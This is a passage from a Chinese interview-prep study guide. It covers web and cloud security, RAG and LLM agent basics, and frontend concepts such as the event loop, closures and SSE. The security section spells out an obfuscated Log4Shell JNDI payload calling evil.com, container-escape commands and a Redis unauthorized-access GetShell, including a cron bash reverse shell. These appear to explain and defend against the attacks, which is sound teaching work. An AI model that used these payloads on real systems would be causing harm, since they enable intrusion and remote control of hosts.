| 拦 Log4Shell | ❌ 很难($ { jndi 能写成几十种变形,WAF 看字面量、Log4j 看求值结果) |
✅ 能(在 JndiLookup.lookup() 调用点直接拦) |
⚠️ 只能在事后发现(发现异常进程) |
| 比喻 | 小区门口的保安 | 你家里的智能摄像头 | 物业的监控室 |
关键点(面试加分):
为什么 WAF 防不住 Log4Shell?
因为 WAF 是【字符串匹配】,而 Log4j 是【先求值再执行】。
攻击者写:${${lower:j}ndi:${lower:l}dap://evil.com/a}
↑ 字面量里没有 "jndi" 也没有 "ldap"
WAF 看到 :一堆 ${} 和 lower:,不像攻击 → 放行
Log4j 求值 :lower:j → j,lower:l → l
拼出来就是 ${jndi:ldap://evil.com/a} → 触发
一句话:WAF 看的是"你写的字",Log4j 看的是"你算出来的结果"。
这就是为什么 RASP(在调用点拦)比 WAF 可靠。
容器逃逸与 K8s 的“三件大事”
容器 vs 虚拟机的本质区别(决定了逃逸为什么存在)
虚拟机:每个 VM 有自己的【内核】
硬件 → 宿主机内核 → Hypervisor → [Guest 内核 | Guest 内核]
↑ 攻击面在 Hypervisor,非常小
容器:所有容器【共享宿主机内核】
硬件 → 宿主机内核 → [容器A | 容器B | 容器C]
↑ 只要攻破内核(或拿到 CAP_SYS_ADMIN),
就能从容器里看到/控制宿主机
所以容器从来就不是“安全边界”,它只是“隔离”。 需要真正的安全边界时得用 gVisor / Kata Containers(轻量 VM)。
逃逸的三种典型手法
| 手法 | 条件 | 一句话 |
|---|---|---|
| 特权容器 | 容器以 --privileged 启动 |
有 CAP_SYS_ADMIN → mount /dev/vda1 /mnt → chroot /mnt → 宿主机 root |
| 挂载 docker.sock | -v /var/run/docker.sock:... |
容器里能操控宿主机的 Docker → 起一个挂载宿主机根目录的新容器 → 随便读写 |
| 内核漏洞 | 宿主机内核没打补丁 | Dirty Pipe / Dirty Cow 等,直接提权到 root |
docker.sock 为什么最危险(面试金句):
“把
/var/run/docker.sock挂载进容器,等价于把宿主机的 root 直接交出去。 因为 Docker daemon 本来就是以 root 跑的,谁拿到 socket 谁就能让它做任何事—— 最常见的姿势是在容器里docker run -v /:/host,宿主机整个根目录就到手了。 需要容器里操作 Docker 的场景,正确做法是用 DinD(Docker in Docker)、 Kaniko 或 BuildKit rootless,而不是挂 socket。”
K8s 的三件大事
① SA Token(最常见,也最容易被忽视)
每个 Pod 里默认就挂着:/var/run/secrets/kubernetes.io/serviceaccount/token
如果 ServiceAccount 绑了高权限 → 拿 Pod = 拿集群
→ 修复:automountServiceAccountToken: false + RBAC 最小权限
② etcd(集群的数据库,2379 端口)
所有配置、所有 Secret 都存在这里
→ 未授权 = 直接读到全部密钥;还能【直接写数据绕过 RBAC】
→ 修复:开启 TLS 双向认证 + 静态加密 EncryptionConfiguration
③ kubelet(每个节点的管家,10250 端口)
未授权 = 能 exec 进该节点上【任意 Pod】
→ 修复:webhook 认证授权 + 关掉匿名访问
面试怎么说:
“K8s 安全我关注三个面:身份(SA Token 和 RBAC 是不是最小权限)、 存储(etcd 有没有开 TLS 和静态加密,Secret 默认只有 Base64 不算加密)、 边界(有没有 NetworkPolicy 做 Pod 间隔离、PSA 有没有禁止特权容器)。 一个很实用的检查:进任意 Pod 看
/var/run/secrets/.../token存不存在—— 如果业务根本不调 K8s API,这个 Token 就是白送的攻击面,应该直接关掉挂载。”
未授权访问:为什么它是最“划算”的漏洞
Redis / Nacos / Jenkins / Kafka / etcd / MongoDB……出事最多的往往不是精妙漏洞, 而是一个服务开着、且没设密码。
三个真实成因(都不是技术难题)
① 默认配置无认证
Redis 默认 conf 里 "# requirepass foobared" 是注释掉的
→ 直接 docker run redis 就是裸奔
② 绑定 0.0.0.0 而非 127.0.0.1
开发时为了方便,把 bind 改成 0.0.0.0
→ 本来只想本机访问,结果暴露到公网
③ 安全组 / 防火墙没关端口
云上"图省事"开了 0.0.0.0/0
→ 全网扫描器 24 小时内必到(实测最短 4 小时被入侵)
Redis 未授权的四步 GetShell
① 写 crontab : config set dir /var/spool/cron/ + set x "\n\n* * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n"
② 写 SSH 公钥 : 把攻击者的 id_rsa.pub 写进 /root/.ssh/authorized_keys
③ 写 WebShell : 写到网站的 web 目录,浏览器直接访问
④ 主从复制 RCE : 让目标当从库,主库把恶意 .so 同步过去 → 加载模块 → 执行命令
④ 是目前最可靠的手法(不依赖目标有没有 cron、是不是 root 运行)
共同的防御原则(一句话):
“不暴露 × 要认证 × 最小权限,三件事做到任意两件,绝大多数未授权事故都不会发生。 最便宜的一件是不暴露——监听地址改成
127.0.0.1或加 NetworkPolicy, 成本几乎为零,收益立竿见影。”
10.3 第十章小结
【Web 安全速记】
XSS :注入脚本 → 偷信息 → 防:转义、CSP、HttpOnly
CSRF :伪造请求 → 冒充你 → 防:Token、SameSite Cookie
SQL注入:拼SQL → 拖库 → 防:预编译(#{} 而不是 ${})
SSRF :骗服务器 → 打内网 → 防:白名单域名、禁内网 IP、禁元数据
XXE :XML 实体 → 读文件 → 防:禁用外部实体(setFeature)
IDOR :改 ID → 看别人的 → 防:查询带归属条件
越权 :水平(看同事的)/ 垂直(干领导的)→ 防:归属校验 + @PreAuthorize
【认证与密码】
OAuth2:授权流程(给第三方部分权限,不给密码) ← 只管"授权"
OIDC :OAuth2 + 身份认证 ← 额外回答"你是谁"
JWT :令牌格式(无状态,但要防"无法主动失效")
SSO :效果(登录一次全通行,通常用 OAuth2 + JWT 实现)
RBAC :权限模型(用户→角色→权限)
密码 :MD5 不行(太快)→ BCrypt(稳妥)/ Argon2(新项目首选)
【Java 组件安全】
反序列化:根因是把不可信字节流交给 readObject()
Gadget Chain:用项目里本来就有的无辜类,串成自动执行的链
防护三选一:换 JSON/Kryo(最彻底)> JEP 290 白名单 > 升级依赖
黑名单补不完 —— 能凑成链的类是开放集合
【漏洞编号与治理】
CVE 身份证 / CWE 病种 / CVSS 理论严重度 / EPSS 被利用概率 / KEV 已被实战利用
优先级排序看【EPSS + KEV】,不是只看 CVSS
SCA 是工具,SBOM 是清单,VEX 是"这个 CVE 影响不到我"的声明
【云原生安全】
容器共享内核 → 容器不是安全边界(要边界用 gVisor / Kata)
逃逸三手法:特权容器 / docker.sock / 内核漏洞
"> 挂 docker.sock 进容器 = 把宿主机 root 交出去"
K8s 三件大事:SA Token(身份)、etcd(存储)、kubelet(边界)
Secret 默认只有 Base64,不算加密
【防护层次】
WAF :在流量进来前拦(看字面量,防不住变形绕过)
RASP :在应用内部拦(看求值结果,能防 Log4Shell)
HIDS :在主机上监控(事后发现异常文件/进程)
纵深防御:不指望一道防线挡住,层层设卡
【最朴素也最有效的一条】
未授权访问的三个成因:默认无认证 / 绑 0.0.0.0 / 安全组开 0.0.0.0/0
防御口诀:不暴露 × 要认证 × 最小权限(做到任意两条就够)
第十一章:AI 应用开发
这一章对应 06 号文档(《AI 应用开发》),也是你简历**项目二(RAG 系统)**的核心。 RAG、Embedding、Token、幻觉、MCP 是面试必问。
11.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| LLM | Large Language Model | 大语言模型,就是 ChatGPT 背后那个“大脑” | 06/08/09 |
| RAG | Retrieval-Augmented Generation | 检索增强生成:先查资料,再让 AI 基于资料回答 | 03/06/08/09/10 |
| Embedding | Embedding(嵌入/向量化) | 把文本转成一组数字(向量),让计算机能算“相似度” | 03/06/08 |
| 向量 | Vector | 一组数字,表示文本在语义空间中的位置 | 03/06 |
| 向量库 | Vector Database | 专门存向量、做相似度检索的数据库(pgvector、Milvus) | 03/06 |
| 余弦相似度 | Cosine Similarity | 两个向量夹角的余弦值,用来衡量“有多像” | 06 |
| Token | Token(词元) | AI 处理文本的最小单位(不是字,也不是词) | 06 |
| Prompt | Prompt(提示词) | 你给 AI 的指令/问题 | 06 |
| System Prompt | System Prompt | 给 AI 设定的“角色和规则”,优先级最高 | 06 |
| 上下文窗口 | Context Window | AI 一次能“记住”多少 Token(如 128K) | 06 |
| 幻觉 | Hallucination | AI 一本正经地编造不存在的事实 | 06 |
| 微调 | Fine-tuning | 用自己的数据继续训练模型,改变它的“知识” | 06 |
| Function Call | Function Calling | 让 AI 能“调用外部函数/接口”的能力 | 06 |
| Agent | Agent(智能体) | 能自主规划、调用工具、多步完成任务的 AI | 02/06/07/08 |
| MCP | Model Context Protocol | Anthropic 提出的协议,让 AI 连接外部工具/数据源 | 06 |
| SSE | Server-Sent Events | 服务端向浏览器单向持续推送(打字机效果的底层) | 06/09 |
| WebSocket | WebSocket | 浏览器和服务端双向持续通信 | 02/06/09 |
| 召回 | Recall | 从海量文档里粗筛出可能相关的候选集 | 06 |
| 重排 | Rerank | 对召回的候选重新精准排序(用更精细但更慢的模型) | 01/02/09 |
| Chunk | Chunk(分块) | 把长文档切成小段,便于向量化和检索 | 06 |
| Top-K | Top-K | 取相似度最高的 K 个结果 | 06 |
| 温度 | Temperature | 控制 AI 回答的随机性(0=严谨,1=有创意) | 06 |
11.2 核心概念详解
RAG(Retrieval-Augmented Generation,检索增强生成)
Retrieval(检索)+ Augmented(增强)+ Generation(生成) 一句话:先从你的知识库里查出相关资料,再把这些资料塞给 AI,让它基于资料回答。
为什么需要它(三个 LLM 的硬伤):
| 问题 | 说明 | RAG 怎么解决 |
|---|---|---|
| ① 知识过时 | 模型训练数据有截止日期,不知道最新信息 | 资料从你的知识库实时检索 |
| ② 不懂私域知识 | 不知道你公司的内部文档、规章制度 | 检索你的内部文档 |
| ③ 会幻觉 | 不懂也敢编 | 有了参考资料,回答有据可依,还能标注来源 |
完整流程(面试必背,简历项目二的核心):
═══════════ 离线阶段:建库(文档 → 向量库)═══════════
① 文档加载:PDF / Word / Markdown / 网页
↓
② 分块 Chunking:把长文档切成 500~1000 字的小段
⚠️ 为什么要切?
- 模型上下文窗口有限
- 整篇文档向量化会"稀释"语义,检索不准
↓
③ 向量化 Embedding:每个 chunk 调模型转成一个向量(如 1536 维)
↓
④ 存入向量库:pgvector / Milvus / Chroma
═══════════ 在线阶段:问答(问题 → 答案)═══════════
① 用户提问:"我们公司年假怎么算?"
↓
② 问题向量化:把问题也转成向量
↓
③ 向量检索:在向量库里找和问题最相似的 Top-K 个 chunk
(用余弦相似度排序)
↓
④ 【可选】重排 Rerank:用更精准的模型重新排序,提升准确率
↓
⑤ 拼装 Prompt:
"请基于以下资料回答问题,只使用资料中的信息,
如果资料里没有,就说'我不知道',并标注引用来源。
【资料】
1. {chunk1}
2. {chunk2}
3. {chunk3}
【问题】我们公司年假怎么算?"
↓
⑥ 调用 LLM 生成答案
↓
⑦ 流式输出(SSE)+ 标注引用来源 → 前端打字机效果
RAG vs 微调(面试高频,怎么选):
| RAG | 微调 Fine-tuning | |
|---|---|---|
| 本质 | 给模型外挂一个知识库(开卷考试) | 改变模型的参数(把知识记进脑子) |
| 知识更新 | ✅ 改文档立刻生效 | ❌ 要重新训练 |
| 成本 | 低(只需向量化) | 高(GPU 训练) |
| 幻觉 | 少(有参考资料) | 仍可能幻觉 |
| 可解释 | ✅ 能标注来源 | ❌ 黑盒 |
| 适合 | 知识问答(90% 的企业场景) | 改变风格/格式/领域语言 |
| 类比 | 开卷考试(可以翻书) | 闭卷考试(得背下来) |
面试怎么说(结合你的项目二):
“我们做的是企业知识库 RAG。核心流程是:文档 → 分块 → Embedding → 存 pgvector; 问答时把问题也向量化,检索 Top-K 相似片段,拼进 Prompt 让 LLM 基于资料回答。 做了几个优化:分块用重叠切分避免语义断裂;加了 Rerank 提升准确率; 用 SSE 做流式输出实现打字机效果;答案标注引用来源,用户能点到原文—— 这点对 B 端很重要,能溯源才敢信。”
Embedding(嵌入 / 向量化)—— 让计算机理解“意思相近”
一句话:把一段文字转成一组数字(比如 1536 个浮点数),意思相近的文字,数字也相近。
为什么要转成数字:
计算机不会"理解"文字,但会算数字。
"苹果手机" 和 "iPhone" → 文字完全不同,但意思一样
"苹果手机" 和 "香蕉牛奶" → 文字像吗?不像,意思也差得远
转成向量后:
vec("苹果手机") = [0.12, -0.35, 0.78, ...] ← 1536 个数字
vec("iPhone") = [0.11, -0.33, 0.80, ...] ← 和上面很接近
vec("香蕉牛奶") = [-0.65, 0.22, -0.11, ...] ← 和上面差很远
怎么衡量“像不像”:
余弦相似度 = cos(θ) = (A · B) / (|A| × |B|)
值域:[-1, 1]
1 = 完全同向(意思完全一样)
0 = 垂直(无关)
-1 = 完全反向(意思相反)
所以 RAG 检索就是:
计算"问题向量"和"所有 chunk 向量"的余弦相似度
→ 排序 → 取 Top-K
生活类比: 把每段文字映射到“语义地图”上的一个坐标点。 意思相近的词,在地图上就是邻居。 你问“年假”→ 找到“年假规定”这个邻居 → 把那段文字拿给 AI 看。
面试高频追问:“向量维度越高越好吗?”
不是。维度高表达能力强,但: ① 存储和计算成本高(1536 维 × 100 万条 = 6GB) ② 维度过高会“维度灾难”,相似度区分度下降 一般 768~1536 维够用(OpenAI text-embedding-3-small 是 1536 维)。
Token —— AI 的“计费单位”和“记忆单位”
一句话:AI 不是按“字”或“词”来读文本的,而是按 Token。
Token 大概是什么粒度:
英文:1 token ≈ 4 个字符 ≈ 0.75 个单词
"hello world" → ["hello", " world"] → 2 tokens
"unbelievable" → ["un", "believ", "able"] → 3 tokens(长词会被拆开)
中文:1 token ≈ 1~2 个汉字(取决于模型分词器)
"你好世界" → 可能 4~8 个 token
为什么重要(三个原因):
- 计费:API 按 Token 收费(输入 + 输出都算)
- 上下文窗口限制:模型一次能处理的总 Token 数有限(如 128K),超了就报错或截断
- 性能:Token 越多,生成越慢(输出是一个个 Token 吐出来的)
面试常问的估算:
GPT 类模型:
中文 1 个汉字 ≈ 1.5~2 tokens
1000 个汉字 ≈ 1500~2000 tokens
如果你的 Prompt 里有:
System Prompt 500 tokens + 检索到的 5 个 chunk 各 800 tokens = 4500 tokens
加上用户问题 100 tokens
总输入 ≈ 4600 tokens
如果模型上下文是 8K → 还剩 3K 给输出
工程要点:
- 检索回来的 chunk 要控制总量,别把上下文撑爆
- System Prompt 要精简(每次请求都要算钱)
- 长对话要做历史压缩/摘要
幻觉(Hallucination)—— AI 最大的坑
一句话:AI 一本正经地编造不存在的事实,还说得特别自信。
为什么会产生:
LLM 的本质是"预测下一个最可能的 Token"
它【不知道】自己知不知道,只是在生成"看起来合理"的文本
所以:
- 遇到不懂的问题,它会"编一个最像答案的答案"
- 而不是说"我不知道"
RAG 怎么缓解幻觉:
① 提供参考资料 → 让答案有据可依
② Prompt 里明确要求:"如果资料里没有,就回答'资料中未提及'"
③ 要求标注引用来源 → 用户能自己验证
④ 设置相似度阈值 → 检索到的内容太不相关,就直接说"没找到"
其他工程手段:
| 手段 | 做法 |
|---|---|
| 相似度阈值 | 检索结果相似度 < 0.7 就认为“没找到相关资料” |
| 引用溯源 | 答案标注来源文档和段落,用户可点开核对 |
| 多路召回 + 交叉验证 | 用不同方式检索,结果一致才采纳 |
| 温度调低 | Temperature 设 0~0.3,减少随机性 |
| 人工审核 | 高风险场景(医疗、法律)必须人工把关 |
面试怎么说:
“幻觉是 LLM 的固有特性——它本质是预测下一个 Token,不知道自己’不知道’。 我们项目里用四个手段缓解: 一是 RAG 提供参考资料; 二是 Prompt 里明确要求’资料里没有就说不知道’; 三是答案标注引用来源,用户能溯源核对; 四是设置相似度阈值,检索结果太不相关就直接返回’未找到’。 另外把 Temperature 调到 0.2,减少随机性。”
Function Call 与 Agent
Function Call(函数调用):
一句话:告诉 AI“你有哪些工具可用”,AI 判断该用哪个,返回调用参数,你执行后再把结果给它。
① 你告诉 AI:你有这些工具
- get_weather(city) 查询天气
- search_order(orderId) 查订单
② 用户问:"北京今天热吗?"
③ AI 返回:【我要调用 get_weather("北京")】
(注意:AI 不执行,只是"说"要调用)
④ 你的代码执行 get_weather("北京") → 得到 "32°C"
⑤ 你把结果塞回给 AI
⑥ AI 生成最终回答:"北京今天 32°C,比较热。"
关键点:AI 只负责【决定调什么、传什么参数】,【执行由你的代码做】
Agent(智能体):
一句话:能自主规划、循环调用工具、多步完成任务的 AI 系统。
普通 LLM vs Agent:
普通 LLM(一问一答):
用户:"帮我订明天去上海的机票" → AI:"我无法访问订票系统"
Agent(规划 + 执行 + 反思):
用户:"帮我订明天去上海的机票"
↓
① 思考:需要查航班 → 调用 search_flights("上海", "明天")
② 观察:返回 5 个航班
③ 思考:用户之前说过喜欢上午 → 选择 CA1234
④ 行动:调用 book_flight("CA1234")
⑤ 观察:预订成功
⑥ 回答:"已为您预订 CA1234,明天上午 9:00 起飞"
Agent 的核心循环:
┌─────────────────────────────────────┐
│ │
│ Thought(思考):我下一步该做什么? │
│ ↓ │
│ Action(行动):调用某个工具 │
│ ↓ │
│ Observation(观察):工具返回什么? │
│ ↓ │
│ 任务完成了吗? │
│ ├─ 否 → 回到 Thought(循环) │
│ └─ 是 → 输出最终答案 │
│ │
└─────────────────────────────────────┘
这个循环叫 ReAct(Reasoning + Acting)
MCP(Model Context Protocol):
Anthropic(Claude 的公司)在 2024 年底提出并开源的协议(2025 年被 OpenAI 等采纳)。 一句话:给 AI 连接外部工具/数据源定一个统一标准(类似“AI 界的 USB 接口”)。
没有 MCP 之前:每个 AI 应用要接 GitHub、数据库、Slack,各写各的适配代码(N×M 问题) 有了 MCP:工具方按 MCP 提供 Server,AI 应用按 MCP 接入(N+M 问题)
没有 MCP: AI应用1 ──┬── GitHub(自己写适配)
├── 数据库(自己写适配)
AI应用2 ──┴── ...(又写一遍) → N × M 的工作量
有了 MCP: AI应用1 ──┐
AI应用2 ──┼── 统一 MCP 协议 ── GitHub Server
AI应用3 ──┘ ── 数据库 Server → N + M 的工作量
第十二章:前端
这一章对应 09 号文档(《前端基础》)。你的简历定位是全栈,前端会被追问。
12.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| SPA | Single Page Application | 单页应用:整个网站只有一个 HTML,页面切换靠 JS | 09 |
| SSR | Server-Side Rendering | 服务端渲染:HTML 在服务器生成好再发给浏览器 | 09 |
| CSR | Client-Side Rendering | 客户端渲染:浏览器下载 JS 后由 JS 生成页面(SPA 的方式) | 09 |
| CSR/SSR 首屏 | First Contentful Paint | 首屏渲染时间 | 09 |
| SEO | Search Engine Optimization | 搜索引擎优化,让百度/Google 能搜到你的页面 | 09 |
| Vue3 | Vue.js 3 | 渐进式前端框架 | 09 |
| 组合式 API | Composition API | Vue3 的新写法,用 setup() 组织代码(替代 Vue2 的 Options API) |
09 |
| 响应式 | Reactivity | 数据变了,页面自动更新 | 09 |
| 虚拟 DOM | Virtual DOM | 用 JS 对象模拟 DOM 树,通过 diff 减少真实 DOM 操作 | 09 |
| Diff 算法 | Diff Algorithm | 比较新旧虚拟 DOM 的差异,只更新变化的部分 | 09 |
| Pinia | Pinia | Vue3 官方状态管理库(替代 Vuex) | 09 |
| Vite | Vite(法语“快”) | 新一代前端构建工具,启动极快 | 09 |
| Axios | Axios | 前端发 HTTP 请求的库 | 09 |
| ECharts | ECharts | 百度开源的图表库,做大屏可视化 | 09 |
| Element Plus | Element Plus | 基于 Vue3 的 UI 组件库 | 09 |
| TypeScript | TypeScript | 带类型的 JavaScript,编译期能发现错误 | 09 |
| 原型链 | Prototype Chain | JS 实现继承的机制:对象 → proto → 原型对象 → … | 09 |
| 闭包 | Closure | 函数能“记住”并访问它定义时的作用域变量 | 09 |
| 事件循环 | Event Loop | JS 处理异步的机制(同步 → 微任务 → 宏任务) | 09 |
| 宏任务/微任务 | MacroTask / MicroTask | setTimeout 是宏任务,Promise.then 是微任务,微任务先执行 | 09 |
| 防抖 | Debounce | 频繁触发只执行最后一次(等你不抖了再做) | 09 |
| 节流 | Throttle | 频繁触发但每隔一段时间才执行一次(匀速执行) | 09/10 |
| 虚拟滚动 | Virtual Scrolling | 只渲染可视区域的行,1 万条数据也不卡 | 09 |
| 跨域 | Cross-Origin | 浏览器的同源策略限制,不同域名不能互相请求 | 02/09 |
| 路由 | Router | 前端路由:URL 变了但页面不刷新,由 JS 切换组件 | 09 |
| 状态管理 | State Management | 多个组件共享的数据集中管理(Pinia) | 09 |
| Webpack | Webpack | 老牌前端打包工具(Vite 出现前的主流) | 09 |
12.2 核心概念详解
SPA vs SSR —— 前端渲染的两种方式
| CSR / SPA 客户端渲染 |
SSR 服务端渲染 |
|
|---|---|---|
| HTML 在哪生成 | 浏览器(JS 执行后生成) | 服务器(生成好再发过来) |
| 首屏速度 | ❌ 慢(要先下载 JS、执行 JS、再渲染) | ✅ 快(拿到 HTML 就能显示) |
| SEO | ❌ 差(爬虫拿到的是空 HTML) | ✅ 好(HTML 里有完整内容) |
| 服务器压力 | 低(渲染在客户端) | 高(每个请求都要渲染) |
| 页面切换 | ✅ 快(局部更新,不刷新) | ❌ 慢(每次都要请求服务器) |
| 适合 | 后台管理系统、Web App | 官网、电商首页、内容站 |
CSR 的流程图:
① 浏览器请求页面
② 服务器返回一个【几乎空的 HTML】
<div id="app"></div>
<script src="app.js"></script>
③ 浏览器下载 app.js(可能几 MB)
④ 执行 JS,生成 DOM,插入 #app
⑤ 页面才显示出来
问题:③④⑤ 期间用户看到的是【白屏】
SSR 的流程图:
① 浏览器请求页面
② 服务器执行 JS,生成【完整的 HTML】(有内容)
③ 浏览器拿到就能立刻显示 ✅
④ 同时下载 JS,之后"激活"(hydration)变成可交互的 SPA
现代方案:同构渲染(SSR + SPA 结合)
首屏用 SSR(快 + SEO 好),后续交互用 SPA(流畅)。 Nuxt(Vue)、Next.js(React)就是干这个的。
面试怎么说(你的项目三零碳云大屏):
“我们的大屏和管理后台是 SPA,因为不需要 SEO、交互多,SPA 切换快、体验好。 如果做官网或需要 SEO 的页面,会用 Nuxt 做 SSR——首屏在服务端渲染好, 之后 hydrate 成 SPA。”
事件循环(Event Loop)—— JS 异步的核心
一句话:JS 是单线程的,靠“事件循环”机制来处理异步,做到“不阻塞”。
为什么需要它:
JS 只有一个线程(一次只能做一件事)。
如果遇到耗时操作(网络请求、定时器),难道要干等着吗?
不行——页面会卡死。
解法:把耗时操作"挂起",等有结果了再回来执行回调。
这个调度机制就是事件循环。
执行顺序(面试必背):
┌──────────────────────────────────────┐
│ ① 执行【同步代码】(调用栈) │
│ console.log('1') │
│ │
│ ② 同步执行完,清空【微任务队列】 │
│ Promise.then / queueMicrotask │
│ MutationObserver │
│ ⚠️ 【全部】微任务都要执行完 │
│ │
│ ③ 执行【一个】宏任务 │
│ setTimeout / setInterval │
│ 事件回调 / I/O │
│ │
│ ④ 回到 ②,再清空微任务 │
│ (循环往复) │
└──────────────────────────────────────┘
口诀:同步 → 全部微任务 → 一个宏任务 → 全部微任务 → ...
经典面试题:
console.log('1'); // 同步
setTimeout(() => console.log('2'), 0); // 宏任务
Promise.resolve().then(() => { // 微任务
console.log('3');
}).then(() => {
console.log('4'); // 微任务(链式)
});
console.log('5'); // 同步
// 输出顺序:1 → 5 → 3 → 4 → 2
// 解析:
// 同步:1, 5
// 微任务:3, 4(Promise 链全部执行完)
// 宏任务:2
易错点:
setTimeout(fn, 0)不是“立即执行”,而是“尽快执行”—— 它要等同步代码和所有微任务都执行完才轮到它。
闭包(Closure)—— 面试必考
一句话:函数可以“记住”并访问它定义时所在作用域的变量,即使那个作用域已经执行完了。
最小示例:
function outer() {
let count = 0; // outer 的局部变量
return function inner() { // 返回内部函数
count++;
return count;
};
}
const fn = outer(); // outer 执行完了,count 应该被销毁?
fn(); // 1
fn(); // 2
fn(); // 3 ← count 还在!这就是闭包
为什么会这样:
正常情况下:函数执行完,局部变量被销毁(垃圾回收)
但这里:inner 函数【引用了】outer 的 count
→ JS 引擎发现"还有人用着呢" → 不销毁
→ count 被"包"在了 inner 里 → 【闭包】
闭包的三个常见用途:
// ① 数据私有化(模拟私有变量)
function createCounter() {
let count = 0; // 外部访问不到
return {
increment: () => ++count,
getCount: () => count
};
}
const c = createCounter();
c.increment(); // 1
c.count; // undefined ← 访问不到,真正的私有 ✅
// ② 函数柯里化
function add(a) {
return function(b) {
return a + b;
};
}
add(1)(2); // 3
// ③ 防抖/节流(保存定时器 ID)
function debounce(fn, delay) {
let timer; // 被闭包保存
return function(...args) {
clearTimeout(timer);
timer = setTimeout(() => fn(...args), delay);
};
}
⚠️ 闭包的坑(面试常问):
// 经典陷阱:循环里的闭包
for (var i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 100);
}
// 输出:3, 3, 3 ← 不是 0, 1, 2!
// 原因:var 没有块级作用域,三个 setTimeout 共享同一个 i
// 等它们执行时,循环已经结束,i 已经是 3
// 解法1:用 let(块级作用域)
for (let i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 100);
}
// 输出:0, 1, 2 ✅
// 解法2:IIFE 创建新的作用域
for (var i = 0; i < 3; i++) {
((j) => {
setTimeout(() => console.log(j), 100);
})(i);
}
内存泄漏风险:
闭包会让变量常驻内存,如果闭包被长期持有(如挂在全局变量上), 那些变量永远不会释放 → 内存泄漏。 解法:不用了就置为 null。
防抖 vs 节流 —— 最容易记混的一对
| 防抖 Debounce | 节流 Throttle | |
|---|---|---|
| 白话 | 等你不抖了,我才做最后一次 | 不管你多频繁,我按固定节奏做 |
| 触发时机 | 最后一次触发后,延迟 N 毫秒执行 | 每隔 N 毫秒,最多执行一次 |
| 比喻 | 电梯:最后一个人才进来,门才关 | 水龙头:不管你怎么拧,水流速度固定 |
| 场景 | 搜索框输入(停下来了才搜索) | 滚动加载、按钮防重复点击 |
| 效果 | 频繁触发 → 只执行 1 次 | 频繁触发 → 稀释成固定频率 |
图解:
触发: ▮ ▮ ▮ ▮ ▮ ▮ ▮ ▮ (用户疯狂点击)
防抖: ▮ (只在最后一次停止后执行一次)
─────── 等待 N ms ────▶
节流: ▮ ▮ ▮ (每 N ms 执行一次,匀速)
├─ N ──┼─ N ──┼─ N ──┤
代码实现(面试常让手写):
// 防抖
function debounce(fn, delay) {
let timer = null;
return function(...args) {
clearTimeout(timer); // 每次触发都取消上一次
timer = setTimeout(() => {
fn.apply(this, args);
}, delay);
};
}
// 节流(时间戳版)
function throttle(fn, delay) {
let last = 0;
return function(...args) {
const now = Date.now();
if (now - last >= delay) { // 距上次执行够久了
fn.apply(this, args);
last = now;
}
};
}
// 节流(定时器版)
function throttle2(fn, delay) {
let timer = null;
return function(...args) {
if (!timer) {
timer = setTimeout(() => {
fn.apply(this, args);
timer = null;
}, delay);
}
};
}
面试怎么说:
“防抖是’等你停下再做最后一次’,适合搜索框——用户每敲一个字都搜太浪费, 等他停 300ms 再搜。 节流是’限制执行频率’,适合滚动监听、按钮防重复点击—— 不管你点多快,我只按固定频率响应。 底层都用闭包保存定时器 ID 或上次执行时间。”
虚拟滚动(Virtual Scrolling)—— 1 万条数据不卡的秘密
一句话:只渲染看得见的那十几行,滚动时动态替换,DOM 节点始终只有几十个。
问题:
表格有 1 万行数据
→ 全渲染 = 1 万个 DOM 节点
→ 浏览器渲染、布局、重排都极慢
→ 页面卡死
解法:
┌─────────────┐
│ 可视区域 │ ← 只渲染这里的 ~15 行
│ 第 20-34 行 │
├─────────────┤
│ 未渲染 │ ← 用空白占位(撑出总高度)
│ (空白) │
└─────────────┘
实现:
① 容器高度固定(如 600px),每行高度固定(如 40px)
② 总高度 = 10000 × 40 = 400000px(用一个空 div 撑开,产生滚动条)
③ 监听 scroll,计算当前 scrollTop
④ visibleStart = Math.floor(scrollTop / 40)
visibleEnd = visibleStart + Math.ceil(600 / 40)
⑤ 只渲染 [visibleStart, visibleEnd] 范围内的数据
⑥ 用 transform: translateY() 把渲染的内容偏移到正确位置
结果:DOM 节点从 10000 个 → 15 个,丝滑流畅
面试怎么说(你的项目一多步骤表单/大表格):
“我们的资产列表有上万条,全渲染会卡。用了虚拟滚动: 固定行高,只渲染可视区域的十几行,用空白占位撑出滚动高度, 滚动时动态计算可见区间并替换数据,用 transform 定位。 DOM 节点从上万降到几十个,滚动很流畅。 Element Plus 的 el-table-v2 和 vue-virtual-scroller 都封装好了。”
SSE vs WebSocket —— 两种“实时”方案
| SSE Server-Sent Events |
WebSocket | |
|---|---|---|
| 方向 | 单向(服务端 → 客户端) | 双向(双方都能发) |
| 协议 | 基于 HTTP(简单) | 独立协议 ws://(要握手升级) |
| 自动重连 | ✅ 浏览器原生支持 | ❌ 要自己实现心跳和重连 |
| 数据格式 | 纯文本 | 文本 / 二进制 |
| 复杂度 | 低(几乎就是普通 HTTP) | 高(要处理心跳、断线重连) |
| 适合 | AI 打字机、新闻推送、进度条 | 聊天室、协同编辑、实时监控 |
SSE 为什么适合 AI 流式输出(你的项目二):
AI 生成答案是一个 Token 一个 Token 吐出来的
→ 需要一个"服务端持续往客户端推"的通道
→ SSE 天然单向(服务端推给客户端),正好 ✅
→ 而且浏览器原生自动重连,不用自己写
→ 基于 HTTP,不需要额外协议,后端实现简单(Content-Type: text/event-stream)
SSE 数据格式:
HTTP/1.1 200 OK
Content-Type: text/event-stream
data: 你好
data: 世界
event: customEvent
data: {"key": "value"}
id: 123
retry: 10000
data: 这条消息 id 是 123,重连间隔 10 秒
前端用法:
const es = new EventSource('/api/chat/stream');
es.onmessage = (event) => {
// 每收到一个 Token 就追加显示 → 打字机效果
answerText.value += event.data;
};
es.onerror = () => {
// SSE 会自动重连,这里只处理异常
};
面试怎么说:
“AI 的打字机效果用 SSE。它基于 HTTP,服务端设置 Content-Type: text/event-stream, 持续往客户端推 data。相比 WebSocket,SSE 是单向的,但我们只需要服务端推给客户端, 而且浏览器原生支持自动重连,实现简单很多。 项目三的实时监控大屏用 WebSocket,因为需要双向交互(主动订阅设备、切换拓扑)。”
第十三章:通用概念与网络
13.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
